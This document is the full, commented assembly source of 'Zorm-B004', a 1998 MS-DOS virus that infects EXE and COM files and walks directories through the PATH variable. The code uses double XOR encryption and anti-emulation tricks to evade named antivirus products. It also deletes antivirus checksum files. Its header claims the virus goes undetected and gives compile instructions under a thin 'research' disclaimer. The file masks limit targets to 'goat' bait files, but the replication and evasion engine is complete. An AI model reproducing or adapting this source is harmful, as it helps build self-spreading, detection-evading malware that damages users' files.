Authorization

;
;    ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ\ ЫЫЫЫЫЫЫЫЫЫЫЫ\ ЫЫЫЫЫЫЫЫЫЫЫЫЫЫ\     ЫЫ\         ЫЫ\
;                  ЬЫЫЫЫ\   ЫЫ\       ЫЫ\ ЫЫ\        ЫЫЫ\     ЫЫЫЫ\     ЫЫЫЫ\
;                ЬЫЫЫЫ\     ЫЫ\       ЫЫ\ ЫЫ\        ЫЫЫ\     ЫЫ\ ЫЫ\ ЫЫ\ ЫЫ\
;              ЬЫЫЫЫ\       ЫЫ\       ЫЫ\ ЫЫЫЫЫЫЫЫЫЫЫЫ\ \     ЫЫ\   ЫЫ\   ЫЫ\                       
;            ЬЫЫЫЫ\         ЫЫ\       ЫЫ\ ЫЫ\         ЫЫ\     ЫЫ\         ЫЫ\
;          ЬЫЫЫЫ\           ЫЫ\       ЫЫ\ ЫЫ\          ЫЫ\    ЫЫ\         ЫЫ\                                       
;        ЬЫЫЫЫ\             ЫЫ\       ЫЫ\ ЫЫ\           ЫЫ\   ЫЫ\         ЫЫ\
;      ЬЫЫЫЫ\               ЫЫ\       ЫЫ\ ЫЫ\            ЫЫ\  ЫЫ\         ЫЫ\
;    ЬЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ\ ЫЫЫЫЫЫЫЫЫЫЫЫ\ ЫЫ\             ЫЫ\ ЫЫ\         ЫЫ\
;
;(C)By Dr L. from Lamer Corporation  March/July 1998
;
;Description:
;             -      Name:..........Zorm-B004    
;             -      Mode:..........Direct infector no TSR
;             -    Target:..........Exe/Com of Msdos (even com of dos7+)
;             -    Status:..........Not detected by Tbav806,F-prot301,228       
;                                   dr.Web,Avp30,nod-ice,findvirus786 
;                                                   (2nd+ generations)     
;             - Description:
;               This virus infects 2 exe+2 com files when executed.            
;               Can change of directory by using both dot-dot method
;               and the path variable of dos environnment.
;               It doesnt contain nasty routines.
;               Its twice encrypted and use several anti-emulation
;               routines.It doesnt infect command.com and win.com
;               of win95. 
;               It erases most checksums files made by anti-virus 
;               in the directories where it have found targets to
;               infect.
;               Anti-lamer routine included :)
;
;             - Disclaimer:
;               This virus was written for research and educationnal
;               purposes.
;               Its the 4th version of this serie.
;               I have fixed some bugs.
;               But one problem still remains:
;                       This virus can damaged win.com/command.com of
;                       win31 when executed or maybe all can be fine
;                       i cant study this problem cause i dont have
;                       win31!
;                         
;                        
;               Compile :tasm/m2 ,tlink/t
;                   



.model tiny                         ;memory model
.code                               ;size <65536

org 100h                            ;its a com file


;-------------------------Beginning---of----loader----------------------
start1:                              
db 0e9h,1,0                         ;jmp 001 byte forward
db 'V'                              ;infection mark

push ds                             ;save dx for later

push  cs                            ;set ds=cs
pop   ds                            ;
       
mov word ptr [_ds],ds               ;save original ds for
                                    ;later
         
mov byte ptr [com_virus],0          ;for the first time          
                                    ;you have to  do that
                                    ;(read below)
 
mov bp,0                            ;set bp the delta offset
                                    ;to zero.No shift to begin
 

jmp over_there

;---------------------------End-----of------loader----------------------


                                 

;----------------------------Beginning--of--virus-----------------------
start:                               
xor dx,dx                           ;set dx=0 for stability
mov cx,end_2nd-begin_2nd            ;cx=nber of bytes to decrypt
xor ax,ax
int 15h
cmp ah,86h                          ;thanx to yesna to show me this
jz itsok                            ;trick ;)
mov ah,4ch
int 21h
itsok:

 
mov ah,3dh                          ;anti-emulation trick. function 3dh
int 21h                             ;int 21h= open file function.ds:dx
;mov al,02h                                    ;have to point to file name.
                                    ;but ds:dx points tojunk so dos returns
                                    ;al=02h.We use this value to decrypt
 
db 04h                              ;=add al,10h
       value db 10h                 ;

              
db 0bbh                             ;mov bx,patch
patch:                              ;patch=addr of begin_2nd.
       dw 0                         ;patch will be set later.
                                   
;settings for decrypt bytes between begin_2nd and end_second is over.



;--------------------------------------------------------
;crypt/decrypt "routine"
;
;remark: _ret will be changed into "ret"  to transform this part
;in a real asm routine.


crypt:
turn_again:
xor byte ptr cs:[bx],al
inc bx
loop turn_again
_ret:                               ;
     ret                            ;to be replaced

;--------------------------------------------------------


begin_2nd:
          db 2eh,0c6h,06h           ;=mov byte ptr cs:[ret_addr],c3h
ret_addr:                           ;
          dw 0                      ;(ret_addr=address where to put 'ret'. 
          db 0c3h                   ;c3h=opcode for "ret")
         

          db 0bbh                   ;=mov bx,0000h
          patch2:                   ;
              dw 0                  ;(patch2=addr of beginning of begin_main)
      
          db 0b0h                   ;=mov al,2
              _al:                  ;
              db 2                  ;
                                    ;(_al=xor key.Not fixed value during
                                    ;infection scheme.see below)  

 mov cx,end_main-begin_main         ;setting to decrypt bytes between
                                    ;label begin_main and end_main is
                                    ;complete
                                    
 call crypt                         ;decrypt now!
 end_2nd:

       begin_main:
                  mov ax,ss         ;if cs=ss i'm a com
                  mov cx,cs         ;
                  cmp ax,cx         ;if not,i'm exe!
                   jz im_com        ;

im_exe:                 
                  cli               ;
                  mov ax,ss         ;reset ss=cs
                  dec ax            ;at the start ss=cs+1 to avoid
                  mov ss,ax         ;"k" flag of tbav.Maybe its a 
                  sti               ;lame way to do that but dont know
                                    ;how to use an other way.
 
  call compute_delta

  push ds                           ;save ds for later
   
  push cs                           ;set ds=cs
  pop  ds                           ;

  mov byte ptr [com_virus+bp],0     ;i'm not a com (save this info
                                    ;for later)
  jmp next_exe                      ;whats follow for a exe file host?
                                   
im_com:

push ds                             ;save it for later



compute_delta_offset:
call compute_delta
mov byte ptr [com_virus+bp],1       ;yep i'm a com file

next_exe:

pop ax                              ;set ax=original ds
mov word ptr [_ds+bp],ax            ;set _ds=original ds
                                    ;you need it for pass
                                    ;control to host.

over_there:                         ;remember me?
                                    ;for the first execution
                                    ;no need to decrypt
                                   

push es                             ;save es
    
push cs                             ;set es=cs
pop  es                             ;

cmp byte ptr [com_virus+bp],1       ;i'm a com?
 
jnz follow_me                       ;nope
 
lea si,store_bytes+bp               ;yep i'm
mov di,100h                         ;ready to transfer byte from
                                    ;location "store_bytes" to
                                    ;beginning of (com) host.
                                    ;(remember the code of *.com
                                    ;begin to cs:100h in memory)  

jmp transfer

follow_me:
;cld
lea si,store+bp                     ;transfer from label "store"
lea di,old+bp                       ;to label "old"
movsw                               ;(set the correct values, segment:
movsw                               ;offset for the return to host.)

transfer:
movsw                               ;you came from "mov di,100h"? ok
movsw                               ;restore (in memory only) the 4 first 
                                    ;originals bytes of host.
 
                                    ;you came from "follow me"? ok restore
                                    ;originals cs:ip and ss:sp found in
                                    ;host (exe) header
 
pop es                              ;beware im back!
 
lea dx,new_dta+bp                   ;dont modify dta!
call set_dta                        ;change it!

mov byte ptr [flag_com+bp],'E'      ;at first we want to infect Exe
                                   

push es                             ;see you later!

create_new_int24h_handler:
mov ax,3524h                        ;                        
int 21h                             ;save original handler                         
mov word ptr [bp+old_int24h],bx     ;of int 24h for restore                        
mov word ptr [bp+old_int24h+2],es   ;it later.                        

mov ah,25h                          ;set a new handler for
lea dx,bp+int_24h                   ;int 24h.
int 21h                             ;so dos dont pop up
                                    ;a infamous error message if virus
                                    ;try to infect write protected
                                    ;disk.

pop es                              ;its me again babe!

count:
mov byte ptr [count_infect+bp],0    ;reset the counter to 0
                                    ;self explanory

get_dir:

 mov ah,47h                         ;
 lea si,current_dir+bp              ;save the current directory
 xor dl,dl                          ;for later when virus pass
 int 21h                            ;control to host and the return to
                                    ;dos.the size of buffer is  64 bytes.
get_disk:
         mov ah,19H                 ;from a:or b:or...virus is running?      
         int 21h                    ;
         mov byte ptr [disk+bp],al  ;
         cmp al,02H                 ;virus infect c: not other drive.
                                    ;in practice .
         jz search_begin_path       ;but if you are running the virus
         mov dl,02h                 ;from an drive ,not c:,it infects
         mov ah,0eh                 ;drive c:.
         int 21h                    ;
;-------------------------------------------------------------
;this part search the adress of first byte of the name of the
;first directory include in dos path
;remarks:
;         es is destroyed by the routine
;         es:di points to the address
;         we are searching
         
search_begin_path:

mov ax,es:002ch                     ;es:002ch=address of segment where
mov es,ax                           ;to found in memory the dos path. 
xor di,di                           ;
mov si,di

jmp suite                              
yet:
      inc si
      mov di,si                         
suite:
     mov ax,'AP'                    ;
     scasw                          ;
     jnz yet                        ;
     mov ax,'HT'                    ;search the string 'PATH='
     scasw                          ;in memory
     jnz yet                        ;
     mov al,'='                     ;
     scasb                          ;
     jnz yet                        ;


;---------------------------------------------------------------------------





;------------------------------------------------------------------
;main part of virus routine to search for files
;to infect.

pathdir:                            ;
       call search                  ;go to search in current dir
again1:                             ;
       jc parent                    ;no file found go to "parent"
       call infect                  ;one file found infect it!
      
   cmp byte ptr [count_infect+bp],2 ;
   jz end_infect                    ;
   call search_again                ;
   jmp again1                       ;
parent:   
       call up_dir                  ;
       jnc pathdir                  ;
change_to_c:       
       call change_path_dir         ;
       jnz pathdir                  ;
       jmp end_infect               ;
;------------------------------------------------------------------

infect:
         mov ax,3d02h
         lea dx,new_dta+1eh+bp
         int 21h

read_header:
        
            xchg ax,bx
            mov ah,3fh
            mov cx,1ch
            lea dx,exe_header+bp
            int 21h
test1:
            cmp word ptr [exe_header+bp],'ZM';is it really an exe?
            je test3
test2:
            cmp word ptr [exe_header+bp],'MZ';idem
            jne its_a_com
test3:
            cmp word ptr [exe_header+bp+12h],'VI';infected?
            je terminer                          ;yes,bye bye

test3b:
            cmp word ptr [exe_header+bp+2],00c6h
            jne test4
            cmp word ptr [exe_header+bp+4],00b7h
            je terminer
test4:
            cmp word ptr [exe_header+bp+26],0    ;overlay=0?
            jne terminer                         ;not,bye bye
test5:
            cmp word ptr [exe_header+bp+24],40h  ;windows exe? 
            je terminer                          ;yes ,adios :(

            mov byte ptr [com_target+bp],0
            jmp get_attributes
its_a_com:  

test_com:
             cmp byte ptr [exe_header+bp+3],'V'
             jz terminer
test_win:
             cmp word ptr [exe_header+4+bp],0e1fh
             jnz not_win_com
             cmp word ptr [exe_header+6+bp],0e807h
             jz terminer

 not_win_com:
             jmp suit
             end_infect:
             jmp end_infect2
             suit:
             push di
             push es
             push cs
             pop es
             mov byte ptr [com_target+bp],1

             lea si,exe_header+bp
             lea di,store_bytes+bp
             movsw
             movsw
             pop es
             pop di

get_attributes:
                 mov ax,4300h
                 lea dx,new_dta+1eh+bp
                 int 21h
                 mov word ptr [attribute+bp],cx
set_attributes:
                 lea dx,new_dta+1eh+bp
                 call set_attrib
kill_crc_files:


;-----------------------------------------------
;delete crc files

                 lea dx,killfile1+bp
                 call set_attrib
                 call kill_file
 jmp next
 terminer:
 jmp close_file
 next:
                 lea dx,killfile2+bp
                 call set_attrib
                 call kill_file

                 lea dx,killfile3+bp
                 call set_attrib
                 call kill_file
;------------------------------------------------

 
get_time_date:
                 mov ax,5700h
                 int 21h
                 push cx
                 push dx
cmp byte ptr [com_target+bp],1
jz go_end_of_file
store_info_header:
                   mov ax,word ptr [exe_header+bp+0eh]
                   mov word ptr [store_ss+bp],ax
                   mov ax,word ptr [exe_header+bp+10h]  
                   mov word ptr [store_sp+bp],ax
 
                   mov ax,word ptr [exe_header+bp+14h]
                   mov word ptr [store_ip+bp],ax

                   mov ax,word ptr [exe_header+bp+16h]
                   mov word ptr [store_cs+bp],ax        
go_end_of_file:
 call go_end
 cmp byte ptr [com_target+bp],1
 jnz next_exe_infect
sub ax,7
xchg ax,dx
mov cx,0
mov ax,4200h
int 21h


mov ah,03fh
mov cx,07h
lea dx,queue+(end_virus-start)+bp
int 21h


add word ptr [queue+(end_virus-start)+5+bp],end_virus-start+7
call go_end
mov cx,ax
sub ax,3
mov word ptr [jmp_bytes+bp+1],ax

 add cx,100h
 jmp  change_patch

 next_exe_infect:    

       push ax dx

compute_new_csip:
                  push ax
                  mov ax,word ptr [exe_header+bp+8]
                  mov cl,4
                  shl ax,cl
                  mov cx,ax
                  pop ax
                  sub ax,cx
                  sbb dx,0
                  mov cl,0ch
                  shl dx,cl
                  mov cl,4
                  push ax
                  shr ax,cl
                  add dx,ax
                  shl ax,cl
                  pop cx
                  sub cx,ax
change_header:
                  mov word ptr [exe_header+bp+14h],cx
                  mov word ptr [exe_header+bp+16h],dx
                  inc dx
                  mov word ptr [exe_header+bp+0eh],dx
                  mov word ptr [exe_header+bp+10h],0FF0h
                  mov word ptr [exe_header+bp+0ah],00FFh
                  mov word ptr [exe_header+bp+12h],'VI'
change_patch:
                  push cx
                  add cx,begin_main-start
                  mov word ptr [patch2+bp],cx
                  pop cx
                  push cx
                  add cx,_ret-start
                  mov word ptr [ret_addr+bp],cx
                  pop cx
                
                  add cx,begin_2nd-start
                  mov word ptr [patch+bp],cx
                  cmp byte ptr [com_target+bp],1
                  jz write_virus  
                  pop dx ax
compute_size:
                  add ax,end_virus-start
                  adc dx,0
                  mov cx,512
                  div cx
                  cmp dx,0
                  je enough
                  inc ax
      enough:
                  mov word ptr [exe_header+bp+04],ax
                  mov word ptr [exe_header+bp+02],dx
 write_virus:
                  encipher:
                  call encrypt
                  ;--------------------------------
                  ;routine to avoid tbav "U" flag
                  ;"U"=undocumented dos interrupt
                  ;in fact tbav sets this flag
                  ;if it finds "cdh,xyh" string
                  ;where xy isnt a ordinary value
                  ;for an interrupt.
   
                  lea si,queue+bp+(begin_2nd-start)
                  mov cx,end_virus-begin_2nd
      test_int:  
                 
                 cmp byte ptr [si],0cdh
                 je encipher
                 inc si
                 loop test_int
                  ;-------------------------------

                  ;-------------------------------
                  ;90h=nop replace 'ret' by 'nop'
                  ;for the first execution of crypt
                  ;routine by the target exe
                  ;in the buffer before write it.  
                  mov byte ptr [bp+queue+(_ret-start)],90h
                  ;-------------------------------
                
                  ;-------------------------------
                  ;write the virus to the target file
                  mov ah,40h
                  mov cx,(end_virus-start)+7
                  lea dx,bp+queue
                  int 21h
                  ;-------------------------------
                 
                  ;-------------------------------
                  ;set the file pointer of target to
                  ;the beginning.
go_beginning:
                  mov ax,4200h
                  xor cx,cx
                  cwd
                  int 21h
                  ;-------------------------------

copy_new_header:
                  cmp byte ptr [com_target+bp],1
                  jnz copy_exe
                  lea dx,jmp_bytes+bp
                  mov cx,4
jmp go_copy
copy_exe:       
                  mov cx,1ah
                  lea dx,exe_header+bp
go_copy:
                  mov ah,40h
                  int 21h
inc_counter:
                  inc byte ptr [count_infect+bp]
restore_file_attribute:
                       mov cx,attribute+bp
                       lea dx,1eh+bp+new_dta
                       mov ax,4301h
                       int 21h
restore_date_time:
                       mov ax,5701h
                       pop dx
                       pop cx
                       int 21h  
  close_file:
                  mov ah,3eh
                  int 21h
                  ret

 end_infect2:


restore_disk:          
                  mov dl,byte ptr [disk+bp]
                  mov ah,0Eh
                  int 21h                 
                 
restore_directory:                  
                  mov ah,3bh
                  mov byte ptr [slash+bp],'\'
                  lea dx,[current_dir-1]+bp
                  int 21h
cmp byte ptr [flag_com+bp],'C'
jz exit

mov byte ptr [flag_com+bp],'C'    ;set this flag to avoid
jmp count

exit:

restore_initial_ds_value:

                  mov ax,word ptr [_ds+bp]
                  push ax
                  pop ds

restore_initial_dta:
                  mov dx,80h
                  call set_dta
restore_initial_24h_interrupt:

                 push ds
                 mov ax,2524h
                 lds dx,bp+old_int24h
                 int 21h
                 pop ds

restore_initial_es:                 
                  push ds
                  pop es

cmp byte ptr [com_virus+bp],1
jnz finish_exe

return_com_host:

                 mov ax,100h
                 push ax
                 ret
finish_exe:
                  mov ax,es
                  add ax,10h

set_cs_of_host_to_run_it:                 
                  add word ptr cs:[old_cs+bp],ax
set_stack_of_host:
                  cli
                  add ax,word ptr cs:[bp+old_ss]
                  mov ss,ax                    
                  mov sp,word ptr cs:[bp+old_sp]
                  sti
go_to_host_code:
                  db 0eah     ; :=jmp xxxx:yyyy
old:
                  old_ip dw 0 ;            yyyy
                  old_cs dw 0 ;       xxxx
                  old_sp dw 0
                  old_ss dw 0
store:
                  store_ip dw 0
                  store_cs dw 0fff0h
                  store_sp dw 0
                  store_ss dw 0fff0h

;-----------------------------------
;search in current directory.

search:
                  mov ah,4eh
                  cmp byte ptr [flag_com+bp],'C'
                  jnz its_exe
                  lea dx,com_file+bp
                  jmp its_com
        its_exe:
                  lea dx,file_mask+bp
        its_com:
                  mov cx,7
                  int 21h
                  ret
search_again:
                  mov ah,4fh
                  int 21h
                  ret
;-----------------------------------





;-----------------------------------
;change directory to parent dir.

up_dir:
                  mov ah,3bh
                  lea dx,dot_dot+bp
                  int 21h
                  ret
;-----------------------------------





;-----------------------------------
;find the next dir in dos path
;and set current dir=dir found.

change_path_dir: 

                  lea si,new_dir+bp
        notyet:  
                  cmp byte ptr es:[di],';'
                  jz _end
                  cmp byte ptr es:[di],0
                  jz _end2
                  mov ah,byte ptr es:[di]
                  mov byte ptr [si],ah
                  inc di
                  inc si
                  jmp notyet
                  _end:
                       mov byte ptr [si],0
                       inc di
                  mov ah,3bh
                  lea dx,new_dir+bp
                  int 21h
                  ret
                  _end2:
                   xor ax,ax
                         ret
;------------------------------------------


 encrypt:
                  push ax
                  push bx
 
change_xor_value:
                  mov al,byte ptr [_al+bp]
                  inc al
                  cmp al,0
                  jne more
                  inc al
             more:
                  mov byte ptr [_al+bp],al
                 
                  mov ah,byte ptr [value+bp]
                 
                  inc ah
                  cmp ah,0     
                  jne again
                  inc ah
             again:
                  mov byte ptr [value+bp],ah


 copy_virus_to_queue_buffer:
                  ;cld                
                  push di
                  push es
                  push cs
                  pop es
                  lea si,start+bp
                  lea di,queue+bp
                  mov cx,end_virus-start
                  rep movsb
                  pop es
                  pop di
crypt_main_part_of_virus_in_buffer:
                 
                  mov cx,end_main-begin_main
                  lea bx,queue+(begin_main-start)+bp
                  call crypt
                  xchg al,ah

                  inc al
                  inc al
crypt_2nd_part_of_virus_in_buffer:

                                   mov cx,end_2nd-begin_2nd
                                   lea bx,queue+(begin_2nd-start)+bp
                                   call crypt
 
                                   pop bx
                                   pop ax
                                   ret
set_attrib:
                  mov ax,4301h
                  xor cx,cx
                  int 21h
                  ret
kill_file:
                  mov ah,41h
                  int 21h
                  ret
int_24h:
                  mov al,3
                  iret
set_dta:
                  mov ah,1ah
                  int 21h
                  ret
compute_delta:
                  call delta
        delta:
                  pop bp
                  sub bp,offset delta
                  ret
       go_end:
                  mov ax,4202h
                  xor cx,cx
                  cwd
                  int 21h
                  ret
                 
                  signature db  '(c)Zorm-b004 by Dr.L  March/July98'     
                  jmp_bytes db  0e9h,0,0,'V'
                store_bytes db  90h,90h,0cdh,20h               
                  killfile1 db 'anti-vir.dat',0
                  killfile2 db 'chklist.ms'  ,0
                  killfile3 db 'chklist.cps' ,0
                    dot_dot db '..',0
                  file_mask db 'goat*.exe',0    ;anti-lamer routine
                   com_file db 'goat*.com',0 
                 
end_main:
 

end_virus:
                     com_target db            ?
                     com_virus  db            ?
                      flag_com  db            ?
                          disk  db            ? 
                     attribute  dw            ?
                    old_int24h  dd            ?             
                           _ds  dw            ?
                  count_infect  db            ?
                         slash  db            ?
                   current_dir  db  64  dup  (?)
                    exe_header  db  1ch dup  (?)
                       new_dta  db  43  dup  (?)
                       new_dir  db  64  dup  (?)
    queue:
end start1